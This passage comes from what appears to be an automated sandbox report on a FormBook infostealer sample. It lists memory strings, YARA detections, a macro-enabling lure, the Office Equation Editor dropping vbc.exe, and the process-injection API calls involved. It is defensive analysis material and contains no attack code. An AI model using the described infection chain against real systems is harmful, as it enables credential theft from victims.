Source: explorer.exe, 00000006.00000000.2167227314.0000000004B50000.00000002.00000001.sdmp	String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.kkbox.com.tw/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.kkbox.com.tw/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.linternaute.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.maktoob.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.mercadolibre.com.mx/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.mercadolibre.com.mx/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.mercadolivre.com.br/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.mercadolivre.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.merlin.com.pl/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.merlin.com.pl/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/?ref=IE8Activity
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/BV.aspx?ref=IE8Activity&a=
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/BVPrev.aspx?ref=IE8Activity
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/Default.aspx?ref=IE8Activity
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/DefaultPrev.aspx?ref=IE8Activity
Source: explorer.exe, 00000006.00000000.2166477724.0000000003C40000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.mtv.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.mtv.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.myspace.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.najdi.si/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.najdi.si/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.nate.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.neckermann.de/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.neckermann.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.news.com.au/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.nifty.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ocn.ne.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.orange.fr/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.otto.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ozon.ru/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ozon.ru/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ozu.es/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.paginasamarillas.es/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.paginasamarillas.es/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.pchome.com.tw/favicon.ico
Source: explorer.exe, 00000006.00000000.2166386042.00000000039F4000.00000004.00000001.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 00000006.00000000.2175705501.000000000861C000.00000004.00000001.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.priceminister.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.priceminister.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.rakuten.co.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.rambler.ru/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.rambler.ru/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.recherche.aol.fr/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.rtl.de/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.rtl.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.servicios.clarin.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.shopzilla.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.sify.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.so-net.ne.jp/share/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.sogou.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.sogou.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.soso.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.soso.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.t-online.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.taobao.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.taobao.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.target.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.target.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.tchibo.de/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.tchibo.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.tesco.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.tesco.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.timesonline.co.uk/img/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.tiscali.it/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.univision.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.univision.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.walmart.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.walmart.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2166477724.0000000003C40000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ya.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.yam.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www3.fnac.com/
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www3.fnac.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://xml-us.amznxslt.com/onca/xml?Service=AWSECommerceService&Version=2008-06-26&Operation
Source: explorer.exe, 00000006.00000000.2179159439.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://z.about.com/m/a08.ico
Source: wlanext.exe, 00000007.00000002.2373223136.0000000002622000.00000004.00000001.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: wlanext.exe, 00000007.00000002.2373223136.0000000002622000.00000004.00000001.sdmp	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css
Source: wlanext.exe, 00000007.00000002.2373223136.0000000002622000.00000004.00000001.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.2203086612.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2203183179.00000000002C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2372523372.0000000000210000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2157787740.0000000003B59000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2372501174.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000005.00000002.2203086612.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.2203086612.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.2372400870.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.2203183179.00000000002C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.2203183179.00000000002C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.2372523372.0000000000210000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.2372523372.0000000000210000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.2203219773.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.2157787740.0000000003B59000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.2157787740.0000000003B59000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.2372501174.00000000001E0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.2372501174.00000000001E0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 8

Screenshot OCR: Enable Content from the yellow bar above 22 23 24 25 26 27 . . 29 30 " " " " " 31 0 0 0

Office equation editor drops PE file

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\hm2[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file

Source: C:\Users\Public\vbc.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior

Source: C:\Users\Public\vbc.exe	Code function: 5_2_004181B0 NtCreateFile,	5_2_004181B0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00418260 NtReadFile,	5_2_00418260
Source: C:\Users\Public\vbc.exe	Code function: 5_2_004182E0 NtClose,	5_2_004182E0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00418390 NtAllocateVirtualMemory,	5_2_00418390
Source: C:\Users\Public\vbc.exe	Code function: 5_2_004181AA NtCreateFile,	5_2_004181AA
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041825C NtReadFile,	5_2_0041825C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_004182DA NtClose,	5_2_004182DA
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009300C4 NtCreateFile,LdrInitializeThunk,	5_2_009300C4
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00930048 NtProtectVirtualMemory,LdrInitializeThunk,	5_2_00930048
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00930078 NtResumeThread,LdrInitializeThunk,	5_2_00930078
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009307AC NtCreateMutant,LdrInitializeThunk,	5_2_009307AC
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092F9F0 NtClose,LdrInitializeThunk,	5_2_0092F9F0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092F900 NtReadFile,LdrInitializeThunk,	5_2_0092F900
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FAD0 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_0092FAD0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FAE8 NtQueryInformationProcess,LdrInitializeThunk,	5_2_0092FAE8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FBB8 NtQueryInformationToken,LdrInitializeThunk,	5_2_0092FBB8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FB68 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_0092FB68
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FC90 NtUnmapViewOfSection,LdrInitializeThunk,	5_2_0092FC90
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FC60 NtMapViewOfSection,LdrInitializeThunk,	5_2_0092FC60
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FD8C NtDelayExecution,LdrInitializeThunk,	5_2_0092FD8C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FDC0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_0092FDC0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FEA0 NtReadVirtualMemory,LdrInitializeThunk,	5_2_0092FEA0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FED0 NtAdjustPrivilegesToken,LdrInitializeThunk,	5_2_0092FED0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FFB4 NtCreateSection,LdrInitializeThunk,	5_2_0092FFB4
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009310D0 NtOpenProcessToken,	5_2_009310D0
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00930060 NtQuerySection,	5_2_00930060
Source: C:\Users\Public\vbc.exe	Code function: 5_2_009301D4 NtSetValueKey,	5_2_009301D4
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0093010C NtOpenDirectoryObject,	5_2_0093010C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00931148 NtOpenThread,	5_2_00931148
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092F8CC NtWaitForSingleObject,	5_2_0092F8CC
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00931930 NtSetContextThread,	5_2_00931930
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092F938 NtWriteFile,	5_2_0092F938
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FAB8 NtQueryValueKey,	5_2_0092FAB8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FA20 NtQueryInformationFile,	5_2_0092FA20
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FA50 NtEnumerateValueKey,	5_2_0092FA50
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FBE8 NtQueryVirtualMemory,	5_2_0092FBE8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FB50 NtCreateKey,	5_2_0092FB50
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FC30 NtOpenProcess,	5_2_0092FC30
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00930C40 NtGetContextThread,	5_2_00930C40
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FC48 NtSetInformationFile,	5_2_0092FC48
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00931D80 NtSuspendThread,	5_2_00931D80
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FD5C NtEnumerateKey,	5_2_0092FD5C
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FE24 NtWriteVirtualMemory,	5_2_0092FE24
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FFFC NtCreateProcessEx,	5_2_0092FFFC
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0092FF34 NtQueueApcThread,	5_2_0092FF34
Source: C:\Users\Public\vbc.exe	Code function: 5_2_000C67C7 NtQueryInformationProcess,RtlWow64SuspendThread,NtSetContextThread,NtQueueApcThread,NtResumeThread,NtClose,	5_2_000C67C7
Source: C:\Users\Public\vbc.exe	Code function: 5_2_000C67C2 NtQueryInformationProcess,	5_2_000C67C2
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002B67C7 NtQueryInformationProcess,RtlWow64SuspendThread,NtSetContextThread,NtQueueApcThread,NtResumeThread,NtClose,	5_2_002B67C7
Source: C:\Users\Public\vbc.exe	Code function: 5_2_002B67C2 NtQueryInformationProcess,	5_2_002B67C2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FB00C4 NtCreateFile,LdrInitializeThunk,	7_2_01FB00C4
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FB07AC NtCreateMutant,LdrInitializeThunk,	7_2_01FB07AC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAF9F0 NtClose,LdrInitializeThunk,	7_2_01FAF9F0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAF900 NtReadFile,LdrInitializeThunk,	7_2_01FAF900
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFBB8 NtQueryInformationToken,LdrInitializeThunk,	7_2_01FAFBB8
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFB68 NtFreeVirtualMemory,LdrInitializeThunk,	7_2_01FAFB68
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFB50 NtCreateKey,LdrInitializeThunk,	7_2_01FAFB50
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFAE8 NtQueryInformationProcess,LdrInitializeThunk,	7_2_01FAFAE8
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFAD0 NtAllocateVirtualMemory,LdrInitializeThunk,	7_2_01FAFAD0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFAB8 NtQueryValueKey,LdrInitializeThunk,	7_2_01FAFAB8
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFDC0 NtQuerySystemInformation,LdrInitializeThunk,	7_2_01FAFDC0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFD8C NtDelayExecution,LdrInitializeThunk,	7_2_01FAFD8C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFC60 NtMapViewOfSection,LdrInitializeThunk,	7_2_01FAFC60
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFFB4 NtCreateSection,LdrInitializeThunk,	7_2_01FAFFB4
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFED0 NtAdjustPrivilegesToken,LdrInitializeThunk,	7_2_01FAFED0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FB01D4 NtSetValueKey,	7_2_01FB01D4
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FB1148 NtOpenThread,	7_2_01FB1148
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FB010C NtOpenDirectoryObject,	7_2_01FB010C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FB10D0 NtOpenProcessToken,	7_2_01FB10D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FB0078 NtResumeThread,	7_2_01FB0078
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FB0060 NtQuerySection,	7_2_01FB0060
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FB0048 NtProtectVirtualMemory,	7_2_01FB0048
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAF938 NtWriteFile,	7_2_01FAF938
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FB1930 NtSetContextThread,	7_2_01FB1930
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAF8CC NtWaitForSingleObject,	7_2_01FAF8CC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFBE8 NtQueryVirtualMemory,	7_2_01FAFBE8
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFA50 NtEnumerateValueKey,	7_2_01FAFA50
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFA20 NtQueryInformationFile,	7_2_01FAFA20
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FB1D80 NtSuspendThread,	7_2_01FB1D80
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFD5C NtEnumerateKey,	7_2_01FAFD5C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFC90 NtUnmapViewOfSection,	7_2_01FAFC90
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFC48 NtSetInformationFile,	7_2_01FAFC48
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FB0C40 NtGetContextThread,	7_2_01FB0C40
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFC30 NtOpenProcess,	7_2_01FAFC30
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFFFC NtCreateProcessEx,	7_2_01FAFFFC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFF34 NtQueueApcThread,	7_2_01FAFF34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFEA0 NtReadVirtualMemory,	7_2_01FAFEA0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01FAFE24 NtWriteVirtualMemory,	7_2_01FAFE24
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_000981B0 NtCreateFile,	7_2_000981B0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_00098260 NtReadFile,	7_2_00098260
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_000982E0 NtClose,	7_2_000982E0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_00098390 NtAllocateVirtualMemory,	7_2_00098390
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_000981AA NtCreateFile,	7_2_000981AA
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0009825C NtReadFile,	7_2_0009825C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_000982DA NtClose,	7_2_000982DA
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01E3632E NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,	7_2_01E3632E
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01E367C7 NtQueryInformationProcess,RtlWow64SuspendThread,NtSetContextThread,NtQueueApcThread,NtResumeThread,	7_2_01E367C7
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01E36332 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	7_2_01E36332
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_01E367C2 NtQueryInformationProcess,	7_2_01E367C2

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00318810	4_2_00318810
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0031C818	4_2_0031C818
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0031B870	4_2_0031B870
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00311842	4_2_00311842
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00313138	4_2_00313138
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0031A198	4_2_0031A198
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00312241	4_2_00312241
